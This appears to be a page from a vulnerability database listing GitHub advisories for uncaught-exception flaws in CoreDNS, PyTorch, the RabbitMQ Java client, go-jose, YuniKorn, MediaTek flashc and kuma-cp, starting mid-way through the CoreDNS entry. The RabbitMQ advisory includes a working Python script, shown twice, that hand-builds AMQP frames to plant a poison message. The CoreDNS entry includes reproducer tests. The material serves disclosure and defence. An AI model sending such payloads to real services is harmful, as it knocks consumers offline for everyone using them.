true})\n\n defer func() {\n if rec := recover(); rec == nil {\n t.Fatal(\"expected empty transfer batch to panic\")\n }\n }()\n\n _, _ = tr.ServeDNS(context.Background(), rec, req)\n}\n```\n\nVerification command and result:\n\n```text\n$ go test ./plugin/transfer -run TestAuditEmptyTransferBatchPanics -count=1 -v\n=== RUN TestAuditEmptyTransferBatchPanics\n--- PASS: TestAuditEmptyTransferBatchPanics (0.00s)\nPASS\nok \tgithub.com/coredns/coredns/plugin/transfer\t0.005s\n```\n\n#### Reproducer B: the built-in `k8s_external` transferer emits the empty batch\n\nA temporary package test was added under `plugin/k8s_external`:\n\n```go\npackage external\n\nimport (\n \"testing\"\n \"time\"\n\n \"github.com/coredns/coredns/plugin/etcd/msg\"\n \"github.com/coredns/coredns/plugin/kubernetes\"\n \"github.com/coredns/coredns/request\"\n\n \"github.com/miekg/dns\"\n)\n\nfunc TestAuditHeadlessNoPortTransferEmitsEmptyBatch(t *testing.T) {\n e := New()\n e.Zones = []string{\"example.com.\"}\n e.headless = true\n e.externalAddrFunc = func(request.Request, bool) []dns.RR { return nil }\n e.externalSerialFunc = func(string) uint32 { return 1 }\n e.externalServicesFunc = func(string, bool) ([]msg.Service, map[string][]msg.Service) {\n return nil, map[string][]msg.Service{\n \"/coredns/com/example/testns/headless/\" + kubernetes.Endpoint: {{Host: \"192.0.2.10\", Port: -1, TTL: 5, Key: \"/coredns/com/example/testns/headless/endpoint-a\"}},\n }\n }\n\n ch, err := e.Transfer(\"example.com.\", 0)\n if err != nil {\n t.Fatalf(\"Transfer returned error: %v\", err)\n }\n\n deadline := time.After(time.Second)\n for {\n select {\n case batch, ok := \u003c-ch:\n if !ok {\n t.Fatal(\"transfer closed before emitting an empty batch\")\n }\n if len(batch) == 0 {\n return\n }\n case \u003c-deadline:\n t.Fatal(\"timed out waiting for an empty batch\")\n }\n }\n}\n```\n\nVerification command and result:\n\n```text\n$ go test ./plugin/k8s_external -run TestAuditHeadlessNoPortTransferEmitsEmptyBatch -count=1 -v\n=== RUN TestAuditHeadlessNoPortTransferEmitsEmptyBatch\n--- PASS: TestAuditHeadlessNoPortTransferEmitsEmptyBatch (0.00s)\nPASS\nok \tgithub.com/coredns/coredns/plugin/k8s_external\t0.012s\n```\n\nAdditional focused verification:\n\n```text\n$ go test ./plugin/transfer ./plugin/k8s_external ./plugin/kubernetes -run \u0027TestAudit|^$\u0027 -count=1 -v\nok \tgithub.com/coredns/coredns/plugin/transfer\t0.006s\nok \tgithub.com/coredns/coredns/plugin/k8s_external\t0.013s\nok \tgithub.com/coredns/coredns/plugin/kubernetes\t0.116s\n```\n\nAffected package suites:\n\n```text\n$ go test ./plugin/transfer ./plugin/k8s_external ./plugin/kubernetes -count=1\nok \tgithub.com/coredns/coredns/plugin/transfer\t0.010s\nok \tgithub.com/coredns/coredns/plugin/k8s_external\t0.011s\nok \tgithub.com/coredns/coredns/plugin/kubernetes\t0.194s\n```\n\n### Impact\n\nA network client allowed to request AXFR for the affected zone can trigger a panic in CoreDNS when all prerequisites are present.\n\nRequired configuration/state:\n\n```corefile\nexample.com:53 {\n kubernetes cluster.local\n k8s_external example.com {\n headless\n }\n transfer example.com {\n to *\n }\n}\n```\n\nAdditional prerequisite:\n\n- The Kubernetes API state contains a headless-service endpoint represented by an EndpointSlice with ready addresses and no ports, producing CoreDNS `msg.Service{Port: -1}`.\n\nIn normal CoreDNS mode, `core/dnsserver/server.go:267-279` recovers the panic and returns `SERVFAIL`, so this is a request-level availability issue and panic/log amplification issue. If the `debug` plugin is enabled, the server disables the recovery path and this can crash the CoreDNS process.",
"id": "GHSA-74w3-63xv-x9mv",
"modified": "2026-10-16T19:26:42Z",
"published": "2026-10-16T19:26:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/security/advisories/GHSA-74w3-63xv-x9mv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62994"
},
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/pull/8207"
},
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/commit/ab318db7b4a3a19273852ed627f54888198c8efb"
},
{
"type": "PACKAGE",
"url": "https://github.com/coredns/coredns"
},
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/releases/tag/v1.14.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "CoreDNS `k8s_external` headless AXFR can emit an empty transfer batch that panics the `transfer` plugin"
}
GHSA-765F-85MC-5QMW
Vulnerability from github – Published: 2025-09-25 18:30 – Updated: 2025-09-29 18:33A Name Error occurs in pytorch v2.7.0 when a PyTorch model consists of torch.cummin and is compiled by Inductor, leading to a Denial of Service (DoS).
{
"affected": [],
"aliases": [
"CVE-2025-55557"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-25T16:15:34Z",
"severity": "HIGH"
},
"details": "A Name Error occurs in pytorch v2.7.0 when a PyTorch model consists of torch.cummin and is compiled by Inductor, leading to a Denial of Service (DoS).",
"id": "GHSA-765f-85mc-5qmw",
"modified": "2025-09-29T18:33:12Z",
"published": "2025-09-25T18:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55557"
},
{
"type": "WEB",
"url": "https://github.com/pytorch/pytorch/issues/151738"
},
{
"type": "WEB",
"url": "https://github.com/pytorch/pytorch/pull/151931"
},
{
"type": "WEB",
"url": "https://gist.github.com/shaoyuyoung/0e7d2a586297ae9c8ed14d8706749efc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7822-RCF6-97FX
Vulnerability from github – Published: 2026-10-07 20:25 – Updated: 2026-10-07 20:25Summary
A single AMQP message with malformed UTF-8 in a shortstr property (for example correlation-id) can permanently disable a Java client RPC consumer.
The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked IllegalArgumentException. That kills the consumer loop or tears down the channel.
The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue.
In short: the decoder produces values the encoder rejects, and any client permitted to use an RPC service can permanently destroy it for everyone.
Details
ValueReader.readShortstr decodes with new String(b, StandardCharsets.UTF_8), which silently substitutes U+FFFD for malformed input:
https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75
ValueWriter.writeShortstr then rejects the result with an unchecked exception:
https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56
So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (correlation-id, reply-to used as a routing key, message-id, type, app-id) is affected.
Two consumption paths are impacted:
-
RpcServer.mainloop()catches onlyInterruptedExceptionandShutdownSignalException, so the exception escapes and the loop thread dies silently: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129 -
The pattern in the official tutorial (
basicConsume+DeliverCallback, echoingcorrelationIdand publishing toreplyTo) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two.
In both cases autoAck is false and the ack is never reached, so the message returns to the queue.
A related instance exists in the library's own recovery path: RecordedConsumer.recover() re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag.
PoC
Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode str as well-formed UTF-8, which does not expand. The frames must be written by hand. A triager who tries with a stock client will not reproduce it.
- Start a broker:
docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq
- Publish a message whose
correlation-idis 255 ×0xFF:
import socket, struct
def sstr(b):
if isinstance(b, str): b = b.encode()
return struct.pack(">B", len(b)) + b
def lstr(b): return struct.pack(">I", len(b)) + b
def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce"
def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a
QUEUE = "rpc.poison"
s = socket.create_connection(("127.0.0.1", 5672), timeout=10)
def rf():
h = b""
while len(h) < 7: h += s.recv(7 - len(h))
t, ch, sz = struct.unpack(">BHI", h)
p = b""
while len(p) < sz: p += s.recv(sz - len(p))
s.recv(1); return t, ch, p
def wait(c, mi):
while True:
t, ch, p = rf()
if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:]
s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10)
s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN")
+ lstr(b"\x00guest\x00guest") + sstr("en_US"))))
cm, fm, _ = struct.unpack(">HIH", wait(10, 30)[:8]) # must echo broker's limits
s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) + struct.pack(">H", 0))))
s.sendall(fr(1, 0, m(10, 40, sstr("/") + sstr("") + b"\x00"))); wait(10, 41)
s.sendall(fr(1, 1, m(20, 10, sstr("")))); wait(20, 11)
s.sendall(fr(1, 1, m(50, 10, struct.pack(">H", 0) + sstr(QUEUE) + b"\x02"
+ struct.pack(">I", 0)))); wait(50, 11)
s.sendall(fr(1, 1, m(60, 40, struct.pack(">H", 0) + sstr("") + sstr(QUEUE) + b"\x00")))
props = sstr(b"\xff" * 255) + sstr("some-reply-queue") # correlation-id = bit 10, reply-to = bit 9
s.sendall(fr(2, 1, struct.pack(">HHQ", 60, 0, 6) + struct.pack(">H", (1 << 10) | (1 << 9)) + props))
s.sendall(fr(3, 1, b"poison"))
# close cleanly, otherwise the broker may not commit the publish
s.sendall(fr(1, 0, m(10, 50, struct.pack(">H", 200) + sstr("done") + struct.pack(">HH", 0, 0))))
wait(10, 51); s.close()
print("published to", QUEUE)
- Run a consumer using the tutorial pattern against
rpc.poison:
DeliverCallback cb = (tag, delivery) -> {
AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder()
.correlationId(delivery.getProperties().getCorrelationId()).build();
channel.basicPublish("", delivery.getProperties().getReplyTo(), reply, "pong".getBytes("UTF-8"));
channel.basicAck(delivery.getEnvelope().getDeliveryTag(), false);
};
channel.basicConsume("rpc.poison", false, cb, t -> {});
Observed:
java.lang.IllegalArgumentException: Short string too long; utf-8 encoded length = 765, max = 255.
at com.rabbitmq.client.impl.ContentHeaderPropertyWriter.writeShortstr(...)
at com.rabbitmq.client.impl.ChannelN.basicPublish(ChannelN.java:753)
channel open after: false
queue depth after: 1
The same message run against RpcServer.mainloop() kills the loop thread instead, and re-kills it on every restart.
Control: 255 bytes of valid UTF-8 in the same field is handled normally and acked. The trigger is specifically the malformed input.
Negative results, for completeness: automatic connection recovery does not re-open the channel, so there is no crash loop and no CPU or memory exhaustion. The impact is loss of availability, not resource consumption.
Impact
Denial of service against applications that implement AMQP RPC with this client, including the pattern shown in the official Java RPC tutorial.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.35.0"
},
"package": {
"ecosystem": "Maven",
"name": "com.rabbitmq:amqp-client"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.36.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-106122"
],
"database_specific": {
"cwe_ids": [
"CWE-172",
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T20:25:29Z",
"nvd_published_at": "2026-10-06T19:17:43Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nA single AMQP message with malformed UTF-8 in a shortstr property (for example `correlation-id`) can permanently disable a Java client RPC consumer.\n\nThe client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked `IllegalArgumentException`. That kills the consumer loop or tears down the channel.\n\nThe message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue.\n\nIn short: the decoder produces values the encoder rejects, and any client permitted to *use* an RPC service can permanently destroy it for everyone.\n\n### Details\n\n`ValueReader.readShortstr` decodes with `new String(b, StandardCharsets.UTF_8)`, which silently substitutes U+FFFD for malformed input:\n\nhttps://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75\n\n`ValueWriter.writeShortstr` then rejects the result with an unchecked exception:\n\nhttps://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56\n\nSo a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (`correlation-id`, `reply-to` used as a routing key, `message-id`, `type`, `app-id`) is affected.\n\nTwo consumption paths are impacted:\n\n1. **`RpcServer.mainloop()`** catches only `InterruptedException` and `ShutdownSignalException`, so the exception escapes and the loop thread dies silently:\n https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129\n\n2. **The pattern in the official tutorial** (`basicConsume` + `DeliverCallback`, echoing `correlationId` and publishing to `replyTo`) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two.\n\nIn both cases `autoAck` is `false` and the ack is never reached, so the message returns to the queue.\n\nA related instance exists in the library\u0027s own recovery path: `RecordedConsumer.recover()` re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag.\n\n### PoC\n\nNeither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode `str` as well-formed UTF-8, which does not expand. The frames must be written by hand. **A triager who tries with a stock client will not reproduce it.**\n\n1. Start a broker:\n\n```bash\ndocker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq\n```\n\n2. Publish a message whose `correlation-id` is 255 \u00d7 `0xFF`:\n```python\nimport socket, struct\n\ndef sstr(b):\n if isinstance(b, str): b = b.encode()\n return struct.pack(\"\u003eB\", len(b)) + b\ndef lstr(b): return struct.pack(\"\u003eI\", len(b)) + b\ndef fr(t, ch, p): return struct.pack(\"\u003eBHI\", t, ch, len(p)) + p + b\"\\xce\"\ndef m(c, mi, a=b\"\"): return struct.pack(\"\u003eHH\", c, mi) + a\n\nQUEUE = \"rpc.poison\"\ns = socket.create_connection((\"127.0.0.1\", 5672), timeout=10)\n\ndef rf():\n h = b\"\"\n while len(h) \u003c 7: h += s.recv(7 - len(h))\n t, ch, sz = struct.unpack(\"\u003eBHI\", h)\n p = b\"\"\n while len(p) \u003c sz: p += s.recv(sz - len(p))\n s.recv(1); return t, ch, p\ndef wait(c, mi):\n while True:\n t, ch, p = rf()\n if t == 1 and struct.unpack(\"\u003eHH\", p[:4]) == (c, mi): return p[4:]\n\ns.sendall(b\"AMQP\\x00\\x00\\x09\\x01\"); wait(10, 10)\ns.sendall(fr(1, 0, m(10, 11, struct.pack(\"\u003eI\", 0) + sstr(\"PLAIN\")\n + lstr(b\"\\x00guest\\x00guest\") + sstr(\"en_US\"))))\ncm, fm, _ = struct.unpack(\"\u003eHIH\", wait(10, 30)[:8]) # must echo broker\u0027s limits\ns.sendall(fr(1, 0, m(10, 31, struct.pack(\"\u003eH\", cm) + struct.pack(\"\u003eI\", fm) + struct.pack(\"\u003eH\", 0))))\ns.sendall(fr(1, 0, m(10, 40, sstr(\"/\") + sstr(\"\") + b\"\\x00\"))); wait(10, 41)\ns.sendall(fr(1, 1, m(20, 10, sstr(\"\")))); wait(20, 11)\ns.sendall(fr(1, 1, m(50, 10, struct.pack(\"\u003eH\", 0) + sstr(QUEUE) + b\"\\x02\"\n + struct.pack(\"\u003eI\", 0)))); wait(50, 11)\n\ns.sendall(fr(1, 1, m(60, 40, struct.pack(\"\u003eH\", 0) + sstr(\"\") + sstr(QUEUE) + b\"\\x00\")))\nprops = sstr(b\"\\xff\" * 255) + sstr(\"some-reply-queue\") # correlation-id = bit 10, reply-to = bit 9\ns.sendall(fr(2, 1, struct.pack(\"\u003eHHQ\", 60, 0, 6) + struct.pack(\"\u003eH\", (1 \u003c\u003c 10) | (1 \u003c\u003c 9)) + props))\ns.sendall(fr(3, 1, b\"poison\"))\n\n# close cleanly, otherwise the broker may not commit the publish\ns.sendall(fr(1, 0, m(10, 50, struct.pack(\"\u003eH\", 200) + sstr(\"done\") + struct.pack(\"\u003eHH\", 0, 0))))\nwait(10, 51); s.close()\nprint(\"published to\", QUEUE)\n```\n\n3. Run a consumer using the tutorial pattern against `rpc.poison`:\n\n```java\nDeliverCallback cb = (tag, delivery) -\u003e {\n AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder()\n .correlationId(delivery.getProperties().getCorrelationId()).build();\n channel.basicPublish(\"\", delivery.getProperties().getReplyTo(), reply, \"pong\".getBytes(\"UTF-8\"));\n channel.basicAck(delivery.getEnvelope().getDeliveryTag(), false);\n};\nchannel.basicConsume(\"rpc.poison\", false, cb, t -\u003e {});\n```\n\nObserved:\n\n```bash\njava.lang.IllegalArgumentException: Short string too long; utf-8 encoded length = 765, max = 255.\n at com.rabbitmq.client.impl.ContentHeaderPropertyWriter.writeShortstr(...)\n at com.rabbitmq.client.impl.ChannelN.basicPublish(ChannelN.java:753)\nchannel open after: false\nqueue depth after: 1\n```\n\nThe same message run against `RpcServer.mainloop()` kills the loop thread instead, and re-kills it on every restart.\n\n**Control:** 255 bytes of valid UTF-8 in the same field is handled normally and acked. The trigger is specifically the malformed input.\n\n**Negative results, for completeness:** automatic connection recovery does not re-open the channel, so there is no crash loop and no CPU or memory exhaustion. The impact is loss of availability, not resource consumption.\n\n### Impact\nDenial of service against applications that implement AMQP RPC with this client, including the pattern shown in the official Java RPC tutorial.",
"id": "GHSA-7822-rcf6-97fx",
"modified": "2026-10-07T20:25:29Z",
"published": "2026-10-07T20:25:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-7822-rcf6-97fx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106122"
},
{
"type": "WEB",
"url": "https://github.com/rabbitmq/rabbitmq-java-client/pull/2065"
},
{
"type": "WEB",
"url": "https://github.com/rabbitmq/rabbitmq-java-client/commit/b8bd750fa8c90690e859b18d6343b34421309020"
},
{
"type": "PACKAGE",
"url": "https://github.com/rabbitmq/rabbitmq-java-client"
},
{
"type": "WEB",
"url": "https://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.36.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "RabbitMQ: Malformed UTF-8 in shortstr properties permanently disables RPC consumers"
}
GHSA-78H2-9FRX-2JM8
Vulnerability from github – Published: 2026-04-03 03:28 – Updated: 2026-04-06 23:11Impact
Decrypting a JSON Web Encryption (JWE) object will panic if the alg field indicates a key wrapping algorithm (one ending in KW, with the exception of A128GCMKW, A192GCMKW, and A256GCMKW) and the encrypted_key field is empty. The panic happens when cipher.KeyUnwrap() in key_wrap.go attempts to allocate a slice with a zero or negative length based on the length of the encrypted_key.
This code path is reachable from ParseEncrypted() / ParseEncryptedJSON() / ParseEncryptedCompact() followed by Decrypt() on the resulting object. Note that the parse functions take a list of accepted key algorithms. If the accepted key algorithms do not include any key wrapping algorithms, parsing will fail and the application will be unaffected.
This panic is also reachable by calling cipher.KeyUnwrap() directly with any ciphertext parameter less than 16 bytes long, but calling this function directly is less common.
Panics can lead to denial of service.
Fixed In
4.1.4 and v3.0.5
Workarounds
If the list of keyAlgorithms passed to ParseEncrypted() / ParseEncryptedJSON() / ParseEncryptedCompact() does not include key wrapping algorithms (those ending in KW), your application is unaffected.
If your application uses key wrapping, you can prevalidate to the JWE objects to ensure the encrypted_key field is nonempty. If your application accepts JWE Compact Serialization, apply that validation to the corresponding field of that serialization (the data between the first and second .).
Thanks
Thanks to Datadog's Security team for finding this issue.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-jose/go-jose/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-jose/go-jose/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-jose/go-jose"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.6.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34986"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T03:28:56Z",
"nvd_published_at": "2026-04-06T17:17:11Z",
"severity": "HIGH"
},
"details": "### Impact\n\nDecrypting a JSON Web Encryption (JWE) object will panic if the `alg` field indicates a key wrapping algorithm ([one ending in `KW`](https://pkg.go.dev/github.com/go-jose/go-jose/v4#pkg-constants), with the exception of `A128GCMKW`, `A192GCMKW`, and `A256GCMKW`) and the `encrypted_key` field is empty. The panic happens when `cipher.KeyUnwrap()` in `key_wrap.go` attempts to allocate a slice with a zero or negative length based on the length of the `encrypted_key`.\n\nThis code path is reachable from `ParseEncrypted()` / `ParseEncryptedJSON()` / `ParseEncryptedCompact()` followed by `Decrypt()` on the resulting object. Note that the parse functions take a list of accepted key algorithms. If the accepted key algorithms do not include any key wrapping algorithms, parsing will fail and the application will be unaffected.\n\nThis panic is also reachable by calling `cipher.KeyUnwrap()` directly with any `ciphertext` parameter less than 16 bytes long, but calling this function directly is less common.\n\nPanics can lead to denial of service.\n\n### Fixed In\n\n4.1.4 and v3.0.5\n\n### Workarounds\n\nIf the list of `keyAlgorithms` passed to `ParseEncrypted()` / `ParseEncryptedJSON()` / `ParseEncryptedCompact()` does not include key wrapping algorithms (those ending in `KW`), your application is unaffected.\n\nIf your application uses key wrapping, you can prevalidate to the JWE objects to ensure the `encrypted_key` field is nonempty. If your application accepts JWE Compact Serialization, apply that validation to the corresponding field of that serialization (the data between the first and second `.`).\n\n### Thanks\n\nThanks to Datadog\u0027s Security team for finding this issue.",
"id": "GHSA-78h2-9frx-2jm8",
"modified": "2026-04-06T23:11:46Z",
"published": "2026-04-03T03:28:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-jose/go-jose/security/advisories/GHSA-78h2-9frx-2jm8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34986"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-jose/go-jose"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/github.com/go-jose/go-jose/v4#pkg-constants"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Go JOSE Panics in JWE decryption"
}
GHSA-79RM-9VFM-GGWW
Vulnerability from github – Published: 2026-10-07 12:31 – Updated: 2026-10-07 12:31Apache YuniKorn 1.8.0 and later, if configured with the LDAP group resolver, crashes due to an out of bounds read processing group membership entries.If the LDAP server returns a group membership entry, memberOf attribute, for a user specified in the pod the server crashes if a membership record does not start with "CN=".
This only affects install that have the non default LDAP group provider configured.
Users are recommended to upgrade to version 1.10.0, which fixes this issue.
{
"affected": [],
"aliases": [
"CVE-2026-78243"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-07T10:17:36Z",
"severity": "LOW"
},
"details": "Apache YuniKorn 1.8.0 and later, if configured with the LDAP group resolver, crashes due to an out of bounds read processing group membership entries.If the LDAP server returns a group membership entry, memberOf attribute, for a user specified in the pod the server crashes\u00a0if a membership record does not start with \"CN=\".\n\n\n\n\nThis only affects install that have the non default LDAP group provider configured.\u00a0\n\n\nUsers are recommended to upgrade to version 1.10.0, which fixes this issue.",
"id": "GHSA-79rm-9vfm-ggww",
"modified": "2026-10-07T12:31:58Z",
"published": "2026-10-07T12:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78243"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/yz51lpj6k8q2hz7x2gjdpcrk44hdn25v"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/10/07/24"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:N/R:A/V:D/RE:H/U:Green",
"type": "CVSS_V4"
}
]
}
GHSA-7FM6-52CC-8V3R
Vulnerability from github – Published: 2024-04-01 03:30 – Updated: 2025-03-13 18:31In flashc, there is a possible information disclosure due to an uncaught exception. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS08541765; Issue ID: ALPS08541765.
{
"affected": [],
"aliases": [
"CVE-2024-20049"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-01T03:15:08Z",
"severity": "MODERATE"
},
"details": "In flashc, there is a possible information disclosure due to an uncaught exception. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS08541765; Issue ID: ALPS08541765.",
"id": "GHSA-7fm6-52cc-8v3r",
"modified": "2025-03-13T18:31:54Z",
"published": "2024-04-01T03:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20049"
},
{
"type": "WEB",
"url": "https://corp.mediatek.com/product-security-bulletin/April-2024"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7GH2-244H-962W
Vulnerability from github – Published: 2026-08-12 21:31 – Updated: 2026-08-12 21:31The dataplane token validator in kuma-cp performs an unchecked Go type assertion on the JWT kid header. A token whose kid is a JSON number decodes as a float64 and triggers a runtime panic before any signature, claims, or authorization check runs.
The panic terminates the entire kuma-cp process, HTTP API, the health and readiness endpoints, and xDS. Unauthenticated access to the dataplane gRPC server can trigger the crash with a malformed token
A single request is a transient interruption; sustaining an outage requires repeated requests.
{
"affected": [],
"aliases": [
"CVE-2026-18675"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-12T19:17:30Z",
"severity": "MODERATE"
},
"details": "The dataplane token validator in kuma-cp performs an unchecked Go type assertion on the JWT kid header. A token whose kid is a JSON number decodes as a float64 and triggers a runtime panic before any signature, claims, or authorization check runs.\n\n\n\nThe panic terminates the entire kuma-cp process, HTTP API, the health and readiness endpoints, and xDS. Unauthenticated access to the dataplane gRPC server can trigger the crash with a malformed token\n\n\n\nA single request is a transient interruption; sustaining an outage requires repeated requests.",
"id": "GHSA-7gh2-244h-962w",
"modified": "2026-08-12T21:31:37Z",
"published": "2026-08-12T21:31:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/security/advisories/GHSA-5mxq-7xq4-3vx8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18675"
},
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/pull/17465"
},
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/pull/17467"
},
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/pull/17468"
},
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/pull/17469"
},
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/pull/17470"
},
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/pull/17471"
},
{
"type": "WEB",
"url": "https://github.com/kumahq/kuma/pull/17472"
},
{
"type": "WEB",
"url": "https://developer.konghq.com/mesh/changelog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.